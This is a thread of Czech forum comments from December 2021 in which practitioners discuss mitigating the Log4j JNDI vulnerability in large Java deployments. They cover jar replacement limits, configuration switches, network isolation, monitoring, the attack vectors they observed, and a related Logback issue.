Za prvé spustit stažený kód nemusí jen standardní knihovna Javy (s JVM to nesouvisí), může to udělat jakýkoli jiný kód. Za druhé je možné spoustu škod napáchat i s kódem, který už je v aplikaci dostupný.
mírně udržovaném prostředí to není úplný disaster? O jakých prostředích vůbec mluvíš? Už druhý den to řeším pro několik společností, vše v kategorii kritická infrastruktura, vše plně aktualizované a i tak to je obrovský problém.
2018?! OpenJDK 8 je např. od Redhatu podporovaná až do roku 2026, Java SE 8 má extended support do 2030. Java u121 vyšla přesně před rokem a pro tenhle případ se pouze měnilo výchozí nastavení, nikoliv možnost problém zneužít.
Na Javě běží obrovská část infrastruktury, spousty státních systémů, všechny české banky používají javu, stejně tak operátoři. Je naprosto nedílnou součástí celé Škodovky, ČEZ jí používá masivně, to nejsou hobby projekty a všude tam v nějaké míře je použit tenhle balíček.
To, že jsou zatím veřejné jen některé typy útoků neznamená to, že jich není možných více, už popis toho problému i samotný zdrojový kód je děsivý.
většinou není, přesně tak jsme i v pátek udělali první fixy, násilně jsme jar nahradili než doběhly nové buildy a než vývojáři zpracovali změnu. Celá řada projektů ale třeba používá shades, tam to jednoduše nevyměníš a nedá se to snadno detekovat z venku. Stejně tak různé fat jar jsou složitější na vnější úpravu, pak tady máš různé balíčky s archivy, řada věcí je podepsaná certifikáty nebo si kontroluje integritu přes kontrolní součty, nahradit jar není univerzální řešení.
V jednom případě šlo třeba o 7000 jvm instancí v celé infrastruktuře, které mohli být potenciálně zranitelné, první opravy se museli udělat bez vývojářů a deploymentu nových verzí, protože část jsou krabicáky a je potřeba čekat na třetí stranu. Pokud je ve společnosti vybudovaný dobře SIEM lze sledovat, jestli aplikace nezměnila síťovou aktivitu a co dělá na síti, jestli to odpovídá běžnému provozu.
sys property není env, env nestačí přidat. Nejen docker, ale různé nar, war, zip, rpm, deb atd. Zpravidla to je kryptograficky podepsané, takže nahrazení není snadné. Lze ale nabourat build proces a tam to vložit.
U těch aplikací, kde není možné dělat úprava z venku jsme nakonec skončili s izolací, máme vyjmenované domény, které aplikace může resolvovat, nastavený firewall jen na určité sítě a samozřejmě jsme co nejvíce zpřesnili monitoring, aby upozornil na co nejvíc útoků.
Těch míst, kde se začínají objevovat útoky je už celá řádka, kromě obligátního jméno, útočníci zkouší posílat clientské certifikáty se zajímavými hodnotami, http hlavičky, txt záznamy nebo dokonce nám chodí i emaily, které mají velice zajímavé hlavičky. Vypadá to, že zatím jiný vektor útok než se tady probírá se neobjevil.
14. 12. 2021, 10:30 editováno autorem komentáře
já to čtu, co tam je a od neděle třeba doporučují upgrade už na 2.16.0. Asi mi je jedno, co je na stránkách, env LOG4J_FORMAT_MSG_NO_LOOKUPS prostě v našich prostředí neměla vliv a zranitelnost se pořád projevovala, verze vesměs 2.11 nebo 2.13, systémová property funguje. Jsou to vše závislosti třetích stran, SAP, Oracle, Elasticsearch atd.
Takže číst, ale prověřovat a ne slepě důvěřovat.
Tak už se něco podobného objevilo i v Logbacku: https://jira.qos.ch/browse/LOGBACK-1591 Byla vydána verze 1.2.8, která zakazuje veškeré JNDI vyhledávání v Logbacku, dokud nebude možná zranitelnost lépe prozkoumána. Podmínkou zneužití je možnost zápisu do konfiguračního souboru Logbacku aplikací, je tedy doporučeno konfigurační soubory pro logování mít pro aplikaci pouze pro čtení.
Z PoC už je jasnější, že Logback samotný neumožňuje přepsat ten konfigurační soubor. Problém je tedy v tom, že pokud útočníkovi umožníte (nějakou jinou chybou) přepsat konfigurační soubor Logbacku, může Logback překonfigurovat tak, aby bylo možné zneužít nějakou chybu při vyhledávání JNDI. Pak si ale dovedu představit lepší způsoby zneužití – třeba přepnutí úrovně logování na DEBUG a nastavení nějakého loggeru, který odesílá data po síti – třeba e-mailem nebo přes TCP/IP.
Better safe than sorry.